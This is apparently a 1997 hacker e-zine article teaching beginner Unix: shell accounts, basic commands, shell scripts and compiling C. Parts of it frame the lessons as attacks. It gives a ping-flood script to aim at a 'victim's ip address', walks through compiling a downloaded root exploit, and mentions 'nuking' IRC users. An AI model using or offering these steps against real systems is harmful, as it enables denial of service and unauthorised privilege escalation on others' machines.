home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / HackAddict™ Magazine / HA 1-12 / HackAddict08.sit / HackAddict 8 ƒ / HackAddict™ 8.rsrc / TEXT_131.txt < prev    next >
Text File  |  1997-11-30  |  11KB  |  258 lines

  1.  
  2.     UNIX, The Series #2
  3.  
  4.  
  5.      Well, I'm back. It seems a lot of people really enjoyed Unix-TS #1, so here I am writing a second one. Thanks for all the reader feedback. It really helped to decide what to put in this issue. So anyway, read on and enjoy.
  6.  
  7.  
  8. Table of Contents
  9.  
  10. ‚Ä¢ Feedback on last issue
  11. ‚Ä¢ Shell accounts
  12. ‚Ä¢ The commands we will learn to love
  13. ‚Ä¢ Shell scripts (basic programming)
  14. ‚Ä¢ Working with C and Perl (more advanced programming)
  15.  
  16. Feedback from the last issue
  17.  
  18.      I'd like to thank everyone who sent me email or gave me advice on Hackaddict in the past two weeks. I've had a lot of comments (all good, except for two exceptions :) So anyway, here are some answers to some frequently asked questions I got:
  19.  
  20. 1.  Why don't you like Linux over BSD? That's so weird!
  21.  
  22.      I guess it's just a usage thing. Linux is  the most common form of UNIX, but my main shell that I use is running BSD. BSD was the flavour I learned first, so that's why I prefer it. I also forgot to mention Sun OS as a good UNIX operating system.
  23.  
  24. 2. Help! When I type "csh" to get into the C shell, and then type "echo $SHELL", I still get "/bin/ksh"!
  25.  
  26.      Sorry about that. I forgot to add something last issue. When you type "csh", you are just executing the C shell like any other program, meaning you are running the C shell over the Korn shell or Bash shell or whatever your default is. To permanently change your shell, use the "chsh" command.
  27.  
  28. 3. Where can I get a shell account? Can you give me one?
  29.  
  30.      Hell no! Like I have shells to give out! But anyway, I have some info below on acquiring shell accounts.
  31.  
  32.  
  33. Shell Accounts
  34.  
  35. Ok. So now you've read all this stuff on the unix operating system, and you're eager to use it. But you don't have a shell, so what can you do?
  36.  
  37. There are a number of things you should check. 
  38.  
  39. 1) First of all, your ISP might have given you a shell (Unless of course it's AOL, meaning you suck). Here is the easiest way to do this:
  40.  
  41. Telnet to yourisp.address.com
  42.  
  43. If you get this:
  44.  
  45. yourisp.address.com                                         ttyp7
  46. SunOS v4.3
  47.  
  48. login:
  49.  
  50. Then try your internet account login and password. If it logs you in and you get a 
  51.  
  52. %
  53.  
  54. or a 
  55.  
  56. $
  57.  
  58. Then you're in luck. You have a shell. Other addresses to try can be "shell.isp.com" and "unix.isp.com".
  59.  
  60. 2) Buy a shell. You can get cheap shells from lots of companies. Try searching in Yahoo for "unix shells" and you'll get a long list of ISPs that give shells. Other places to try are www.linuxbox.com and www.haxor.com.
  61.  
  62.      Haxor.com is the most preferable place to get a shell. "The server by hackers for hackers". You can pay yearly or monthly. It's pretty fast, runs Linux, and you get a big disk quota (meaning how much disk space you can hold on your account).
  63.  
  64. 3) Get a free shell. Lot's of companies give you free shell accounts, like sdf.lonestar.org. The problem with these is that they're really painfully slow, or they are really restricted. 
  65.  
  66. Go to http://godson.home.ml.org for a large, up to date list on commercial and free shell accounts.
  67.  
  68.  
  69. More Commands
  70.  
  71.      You should have read UNIX #1, so there's no need to review all those commands. (If you needed help, printing out the DOS 2 UNIX chart would have been a good idea.) Anyway, now I'll cover some more advanced useful commands.
  72.  
  73. chown  ‚Ä¢ Changes the ownership of a file. 
  74.     example:
  75.  
  76. % chown  file.doc  fuzebox
  77.  
  78.      Notes: You cannot change the ownership of a file you do not own. (That one was for Sir Klown, who kept trying to change the ownership of the shadowed password file to himself :)
  79.  
  80. w  ‚Ä¢ Shows a different log of who's logged in.
  81.     example:
  82.  
  83.  
  84. %  w
  85.  
  86. 11:24PM  up  5:26, 4 users, load averages: .30, 0.63, 0.19
  87. USER     TTY FROM                                LOGIN@          IDLE             WHAT
  88. riso                     d0                      -                                                          8:14PM              3:10                pppd ipcp-accept-remote
  89. fuzebox  p0  connection12.re          11:24PM     - w
  90. root         p3      -                                                                                                                 3:12PM                    64:21    accept-local
  91. sadist                    p2            p3.netbox.ls45.r                 11:15PM             -  w    
  92.  
  93.      Notes: Ok, so this is pretty useless. It shows the same stuff as when you type "who" except a little more detail and in a different format.
  94.  
  95. The TTY is the port they've connected to.
  96. The LOGIN@ is the time they logged in.
  97. IDLE shows how long they've been asleep at the keyboard (-w means no idleness)
  98. WHAT means what kind of connection they have. The guy at the top is dialing in, the two blanks have telnetted, and the local one is well, local.
  99.  
  100. lynx ‚Ä¢  A really crappy text-based web browser
  101.     example:
  102.  
  103. % lynx
  104.  
  105.      Notes: Use this only if you are really desperate. It is useful only for finding text information. You can change the selected link with the arrow keys (pretty decrepid, eh?)
  106.  
  107. irc  ‚Ä¢  Internet Relay Chat in unix.
  108.     example:
  109.  
  110. % irc or  ircii
  111.  
  112.      Notes: Some would say IRC sucks (That was for you, TW ;). I don't mind it, it's a great place to find PC users to nuke. The useful irc commands are as follows:
  113.  
  114.         /server <servername> The irc server to connect to. (irc.primenet.com, us.undernet.org)
  115.         /nick <nickname>            The handle that is displayed to everyone else as you.
  116.         /join <channelname>            Channelnames have to begin with a "#"
  117.         /leave <channelname>            Leaves the specified channel.
  118.         /quit                    Gets you out of IRC and back into unix where you belong!!!
  119.  
  120.  
  121.      Ok, I know that was a pathetic commands section. I'm really running out of commands to explain here. It would be nice if there was some user feedback (hint: fuzebox@cyberdude.com) so I could decide which to include in my next edition...
  122.  
  123.  
  124. Shell Script Programming
  125.  
  126.      Those of you who are familiar with DOS will recognize a shell script as a "batch" file. A batch file is a file that executes a bunch of commands in succession, (kind of like an AppleScript or OneClick palette). 
  127.  
  128.      Shell scripts are commonly used to automate inconvieniant jobs. For example, the ".login" file we looked at last month was a shell script. It executed a bunch of commands for you at login so you didn't have to do it every time.
  129.  
  130. A really easy pingflood script would go like this:
  131.  
  132. % pico pingflood
  133.  
  134. (pico opens)
  135. (Now you type the following)
  136.  
  137. #!/bin/sh
  138. ping 127.0.0.1 &
  139. ping 127.0.0.1 &
  140. ping 127.0.0.1 &
  141. ping 127.0.0.1 &
  142. ping 127.0.0.1 &
  143. ping 127.0.0.1 &
  144. ping 127.0.0.1 &
  145. ping 127.0.0.1 &
  146. ping 127.0.0.1 &
  147. ping 127.0.0.1 &
  148. ping 127.0.0.1 &
  149. ping 127.0.0.1 &
  150. ping 127.0.0.1 &
  151. ping 127.0.0.1 &
  152.  
  153. (Now hit control-X and choose "yes" to save the changes)
  154.  
  155. % ls
  156.  
  157. mail                    cool.stuff.doc                    pingflood
  158.  
  159. % ./pingflood
  160.  
  161. % ps
  162.  
  163. 2352 ping 127.0.0.1                fuzebox
  164. 2353 ping 127.0.0.1                fuzebox
  165. 2355 ping 127.0.0.1                fuzebox
  166. 2356 ping 127.0.0.1                fuzebox
  167. 2354 ping 127.0.0.1                fuzebox
  168. 2359 ping 127.0.0.1                fuzebox
  169. 2361 ping 127.0.0.1                fuzebox
  170. 2343 ping 127.0.0.1                fuzebox
  171. 2323 ping 127.0.0.1                fuzebox
  172. 2367 ping 127.0.0.1                fuzebox
  173. 2354 ping 127.0.0.1                fuzebox
  174.  
  175. And so on.
  176.  
  177. -The "#!/bin/sh" tells the script which shell to use for commands. It is universally a good idea to use "/bin/sh", the Bourne shell, because it is on every UNIX system you will every encounter. Yes, it is sad, but some UNIXs don't come with the C shell.
  178. -Some notes on this script: substitute "127.0.0.1" for your victim's ip address, or you'll pingflood yourself!
  179. - the "dot-slash" is used to execute the script. If you just typed "pingflood", you would have gotten an "invalid command" message.
  180.  
  181.      Next month I'll get into variables and command line arguments, so you can just type
  182.  
  183. %./flood some.stupid.guy
  184.  
  185. And it will do it, so you don't have to modify the code.
  186.  
  187.  
  188. Advanced UNIX Programming
  189.  
  190.      C and Perl... the two best UNIX programming languages... The two most powerful... the two hardest to learn...
  191.  
  192.      Anyway, running C programs and running Perl programs are two different things, so I'll start with C.
  193.  
  194. NOTE: I will not actually teach you to program in C or in Perl. Get a book. (I've got about a dozen)
  195.  
  196. C
  197. So, you've downloaded this cool exploit program from http://www.rootshell.com and you're eager to get root real fast. Problem is, the program is a ".c" file. Pretty easy. Use Fetch to upload the program to your shell account, then log in and do the following:
  198.  
  199. % ls
  200. some.stupid.doc                    nuke                    easyroot.c
  201.  
  202. Make sure you have the program in your directory.
  203.  
  204. Now, let's see if your system has the GNU compiler:
  205.  
  206. % gcc -o root easyroot.c
  207.  
  208. -If you then get the "%" prompt back, your program has been compiled into an executable.
  209. -If you get an invalid command message, you don't have GNU. No matter, we'll use UNIX's built in compiler.
  210.  
  211. % cc -o root easyroot.c
  212.  
  213. This should compile.
  214.  
  215.      NOTE: If you get a bunch of errors scrolling down, it means the program was improperly written, or wasn't written for your system. It will usually say at the top of the source code which system it was written for.
  216.  
  217. Now, I'll explain what we typed here:
  218.  
  219. cc   - This invokes the compiler.
  220. -o   - This tells the compiler, "Name the program the name that comes after me"
  221. root   - This is what I decided to call my program
  222. easyroot.c   - This is the location of the C source code.
  223.  
  224.      Well that was pretty easy for advanced programming. If you want to learn C, there are many good books available, and good texts on the Hackaddict hotline server. 
  225.  
  226. (Weasel's note: If you want to teach yourself C, get "Learn C on the Macintosh" by Dave Mark. It will introduce you to the C language and show you basic functions)
  227.  
  228.  
  229. Perl
  230.  
  231.      Perl scripts are run much like shell scripts. The difference is (besides the fact that the code is in perl) is the line at the top.
  232.  
  233. To run a perl script, the perl script must have
  234.  
  235. #!/bin/usr/perl 
  236.  
  237. at the top (or whatever is the path to the perl application. Ask your admin, or do some hunting around to find it.
  238.  
  239.      Make sure the first line has the path to the perl application. Now close the file, and from the prompt, type:
  240.  
  241. % ./myprogram
  242.  
  243. (myprogram being the program you want to run)
  244.  
  245. It will run, no compiling necessary.
  246.  
  247.  
  248. In Closing
  249.  
  250.      Yes, that was a bit lame compared to last month's issue, but I'm working on it. I really appreciate reader feedback, whether it be by email or on the hotline server. I'm on Hackaddict usually at least once every two or three nights, depending on how busy I am. I might start coming on during the day as well.
  251.  
  252.      Thanks for reading. Next month's topics will include: Installing HX (hotline for unix), advanced shell programming, important files on the system and what they do, and whatever you request.
  253.  
  254. Until then!
  255.  
  256. -Fuzebox
  257. fuzebox@cyberdude.com
  258.